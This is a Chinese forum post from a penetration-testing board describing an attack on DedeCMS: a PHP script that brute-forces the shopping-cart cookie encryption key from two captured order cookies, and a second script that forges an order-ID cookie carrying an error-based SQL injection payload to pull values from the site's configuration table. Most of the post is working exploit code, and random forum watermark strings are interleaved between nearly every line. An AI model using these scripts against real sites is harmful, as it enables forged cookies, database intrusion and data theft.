中国网络渗透测试联盟
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-13 23:58
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=
/ N/ x" K' K; X
在 include/shopcar.class.php中
) Q- D# [0 E/ Q; E, Z7 ^% P
先看一下这个shopcar类是如何生成cookie的
* B; J7 _7 L8 x5 ]
239 function saveCookie($key,$value)
5 ?& R8 j+ n/ v5 R
240 {
. k' C: ~" J e: e i& v, t# E t
241 if(is_array($value))
# E, a( p, w; m
242 {
% d5 j, V+ R! p! d, g; S& V
243 $value = $this->enCrypt($this->enCode($value));
+ W- k j# `$ u% h5 G
244 }
$ M( j5 }$ S) E6 ~
245 else
! x9 P) g# A" a6 j- {
246 {
. g0 [7 M* v( t% w) n
247 $value = $this->enCrypt($value);
1 n/ ], x$ y( f/ I5 L0 i+ \5 _
248 }
% r: t; l: a3 o9 }- A
249 setcookie($key,$value,time()+36000,’/');
* N, e! R; v8 J+ O& t* s
250 }
& c: q, z: z) v8 C4 x" W! K
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
, D( e3 {; w, i, e( t
186 function enCrypt($txt)
& D9 q( \0 V6 k6 k: b! K
187 {
6 B6 L$ o# J# Y: s
188 srand((double)microtime() * 1000000);
! {7 A8 q# r$ ]; D V1 c
189 $encrypt_key = md5(rand(0, 32000));
2 B3 @1 l1 W- L: ]* g
190 $ctr = 0;
% N& ?: Q# e0 |& K5 z, d# _# O( X! \
191 $tmp = ”;
* G1 o0 N9 y! ~8 B
192 for($i = 0; $i < strlen($txt); $i++)
6 Z( L- @3 W; o7 j% N O, B5 @# z' L
193 {
3 z/ _- x- \2 y2 ~7 U2 E
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
. I# m6 b( k, Q4 ]7 l
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
8 d7 l+ L6 f$ O. c# n! i
196 }
3 a3 H3 Y7 r4 ~" [6 f! m/ ^ R
197 return base64_encode($this->setKey($tmp));
5 L3 N$ Z3 X# B% I3 x
198 }
$ o$ b" ?- f1 n: v0 ~3 I- J$ ]
213 function setKey($txt)
7 G5 j0 A6 |* {9 Y* s
214 {
) F- O% M3 O( b1 W
215 global $cfg_cookie_encode;
) W3 x$ B4 L- X9 C! d- D6 D
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
' n% w, k3 ^8 k' d" u
217 $ctr = 0;
! l! q9 Z Q- F3 L K& {
218 $tmp = ”;
3 y6 N- U* i% e7 [3 X% J
219 for($i = 0; $i < strlen($txt); $i++)
{$ r8 i" A/ z5 |7 O( i3 |: g
220 {
' C3 U0 W5 ]7 ]5 g2 d
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
& F% z1 }/ a5 ?2 m' R. ]( H
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
; g" F, _; t& |" a& t
223 }
( I2 F8 `1 {. F. |
224 return $tmp;
0 s) R. q( e+ a4 h3 E: W i
225 }
3 c. C6 R0 ]8 m/ |
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
5 w$ T6 t9 i2 m$ L% a' B
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
L' N6 r& A& n& {. Q0 T& s
具体代码如下:
9 X4 ?- E, A- j
<?php
% F& p! G) x9 s. }5 m# s* e
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
3 J B( }3 ~( f
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
8 j; M5 g( K+ S
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
/ h" `3 H! c. c. v
function reStrCode($code,$string)
+ o7 h( m0 `5 A# A! H) V
{
9 {' V, o5 z# C3 S! @' A
$code = base64_decode($code);
, b ]6 R, _) A. t. y# N
$key = “”;
3 X% L6 F% }1 W. a3 J) Q
for($i=0 ; $i<32 ; $i++)
8 ?9 D/ ^8 H% L, f
{
9 J& g" d# v9 H& ]+ W3 W
$key .= $string[$i] ^ $code[$i];
% D9 L1 S# i$ D' `! Q9 P7 u
}
# q* w0 W) k; n! U1 G# @; R
return $key;
; F% [4 W; x, l* d# L0 q, i. P
}
: m6 H7 r, P9 i2 L0 R; _
function getKeys($cookie,$plantxt)
B* L* K, Z8 D/ `* p: ?) R
{
+ v/ q: x9 b0 c0 }* E w8 n! p% G
$tmp = $cookie;
. U6 Y3 m i0 q: L6 d
$results = array();
$ M" |/ z" [- R8 ]' j* n4 U
for($j=0 ; $j < 32000; $j++)
0 |& d& j# `2 K/ V
{
( B4 Q0 W" s. C4 Q7 ~) U; j# ]% R5 }
) Y9 O8 e( Z( _9 m9 n
$txt = $plantxt;
4 o7 |& S7 s' M" ~" h2 X" N [
$ctr = 0;
3 ?% R# P9 I% E6 V& i; x$ \
$tmp = ”;
! W) n1 N% W3 W% {% b
$encrypt_key = md5($j);
/ P8 j4 D9 a4 L) i+ {* a& U7 t
for($i =0; $i < strlen($txt); $i ++)
! I9 x# `7 [$ f3 l! l: C3 g* [4 I; Z
{
7 J" ]8 m1 T' v& ?# q. u3 y
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
. R3 \5 z4 d8 ?: c5 D* V3 F _5 @' p
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
1 x9 e# F7 ~. t- d
}
' h, s* J- f5 s, I# ]5 F, J& w
$string = $tmp;
% e. n0 X0 L5 Z8 b& f$ V
$code = $cookie;
, N2 y0 ^" d4 O7 N( V
$result = reStrCode($code,$string);
! ?$ _5 t' @& L2 R( N
if(eregi(‘^[a-z0-9]+$’,$result))
8 \( S" ^5 q* z, Z& @' E
{
- N0 B x6 h8 h! K# _$ `4 d; X8 l) u" v
echo $result.”\n”;
; B2 u( m5 ~3 B! a4 l- H( I2 S V
$results[] = $result;
) d5 Q. U* E& e
}
! m& z% E8 [5 o; b" O1 Z
}
/ Q* v! N& i- d9 ~
return $results;
' L- a5 Q% G7 d% Y7 A
}
) i4 D* o* P9 [1 M' V1 M2 z
$results1 = getKeys($cookie1,$plantxt);
+ N5 F6 ]4 ?; n2 X9 M. ^
$results2 = getKeys($cookie2,$plantxt);
8 Y% U% h5 |, O; W: U1 v
print “\n——————–real key————————–\n”;
! C; c3 h, L, [% q
foreach($results1 as $test1)
0 t& `1 k8 a z
{
$ p$ w7 @# Q0 \( B/ k
foreach($results2 as $test2)
3 R; X2 I# T/ o: l+ s
{
; F! q$ D+ x5 e1 V
if($test1 == $test2)
9 E0 l$ \% _# _# q, E0 R1 K
{
% J3 O9 |8 {7 R7 m
echo $test1.”\n”;
& w3 {& H$ s5 | @3 Q
}
^& r) j4 y5 i: m. b1 s# u
}
% D& h: {% N" y
}
$ n% ~! d$ N3 A# _! T# P
?>
- ^8 b/ F* l( ~* X8 B8 b& R
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
. \, E5 e3 E; i2 {) [$ b `+ h
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
* [" e8 d- C M+ \) ?% B
然后推算出md5(strtolower($cfg_cookie_encode))
9 L5 |9 S3 ]0 P. c) L- Y+ [
得到这个key之后,我们就可以构造任意购物车的cookie
" N& E- l) H" I. w1 Y* N9 r; u
接着看
) d' A4 j% a, n7 |( D- K! L
20 class MemberShops
* R# r( G/ K, J4 W% e. d: `9 Q, ^
21 {
7 y1 d9 B3 B o5 L
22 var $OrdersId;
0 O) j: J1 v# P, Z8 L( S
23 var $productsId;
* d# q# r" B1 J4 Y# E" d
24
: r! E! Z: n. v
25 function __construct()
6 U3 M; P3 n+ v7 X6 k# L$ V5 Y/ P
26 {
9 `/ W$ Y$ `! s4 w! W3 z2 a4 M
27 $this->OrdersId = $this->getCookie(“OrdersId”);
! l& c5 T$ i D! b* \8 c
28 if(empty($this->OrdersId))
% n+ O4 @5 h! h( T1 z U
29 {
) ?3 R" p$ _* m$ Q) I8 ^+ l
30 $this->OrdersId = $this->MakeOrders();
2 t4 c% f6 u7 j4 L0 Y8 x
31 }
' q9 W- Y/ W$ F/ R
32 }
( ]% X/ S0 f* q2 Y$ C+ w* r2 e
发现OrderId是从cookie里面获取的
7 O9 l6 X, p1 Y0 {2 r) O2 d! R
然后
4 ]% V- J3 R9 `2 _$ o. E3 ? y
/plus/carbuyaction.php中的
5 z! i a! B- `$ [/ @! ?
29 $cart = new MemberShops();
; ~9 \* L z a8 i: z8 R9 V7 I0 k# @
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
7 O3 c, L5 m6 t" |7 D+ ^6 U
……
' I3 \; E% Z, L3 _1 u3 e0 E
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
2 ^% k, [( ^) `- `
接着我们就可以注入了
J5 ]- ~6 X8 G. u
通过利用下面代码生成cookie:
5 K, |+ ?& z# |7 T1 R
<?php
Q- d; h# |1 B/ G
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
/ b5 D. a: c e: m+ D
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
+ N, l0 H' j P& {; ~) z6 G
function setKey($txt)
, K7 w3 M3 K+ v9 k4 w1 C8 @
{
I a2 Y, P8 F8 [8 @
global $encrypt_key;
3 g9 Z X( H3 W$ Q+ N8 t0 \
$ctr = 0;
8 [2 Q* |1 M4 h: U
$tmp = ”;
) |& A9 L1 S, k) Y l# W& E+ u
for($i = 0; $i < strlen($txt); $i++)
: R, Z' q- P3 q! K! F
{
# I: r$ ~. V$ x/ C1 i' _- t
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
. A; [& r) W: P+ O" d
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
* \$ D. w& Q3 C b
}
' r! @5 X2 r$ a) W
return $tmp;
: o* E& ?6 G6 d8 P* i2 _" z9 `
}
y# C- u( P; M) S' Q e( D# r
function enCrypt($txt)
; ~7 P3 R/ C" r% ^4 n; m2 Z
{
! d. A& c9 M8 v/ p) r% ^
srand((double)microtime() * 1000000);
6 B! u2 |0 `9 {6 G. [+ f
$encrypt_key = md5(rand(0, 32000));
' y8 S3 x/ i( b7 E% G: ^
$ctr = 0;
' s6 C6 S% I2 s4 ?6 [
$tmp = ”;
7 k, }1 @0 S& `8 g1 P
for($i = 0; $i < strlen($txt); $i++)
" Q: H. j7 Q- D# B* [
{
8 _- E2 J$ V( F1 a: t. U9 q( L( B( N
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
' t! v0 J2 t1 Q
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
4 q6 N$ w+ q. ~ \ e0 B9 Y* u" z
}
* x# {) V* N. P* g5 L! X, n# ~, m% p$ G
return base64_encode(setKey($tmp));
q5 W$ [3 ]& c6 R+ h7 j
}
q$ C3 S; \% c$ i! _
for($dest =0;$dest = enCrypt($txt);)
8 q; t' C' S% [1 |+ p
{
; A% C M% F& w! _7 Z3 _
if(!strpos($dest,’+'))
' N* Z+ Q7 Y7 B) L6 G
{
5 ] `" c3 X& `. i# P. O. s
break;
& C- d8 Y; n4 g/ C/ E/ a
}
7 Q; B+ y( D9 Q% k+ E
}
3 D. y, N0 P5 n# r3 `
echo $dest.”\n”;
" w' }. e* \' R3 k
?>
2 w6 L8 B+ _( ^. _) n" C: [
, ?7 R1 i4 I3 ^' o P0 u
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2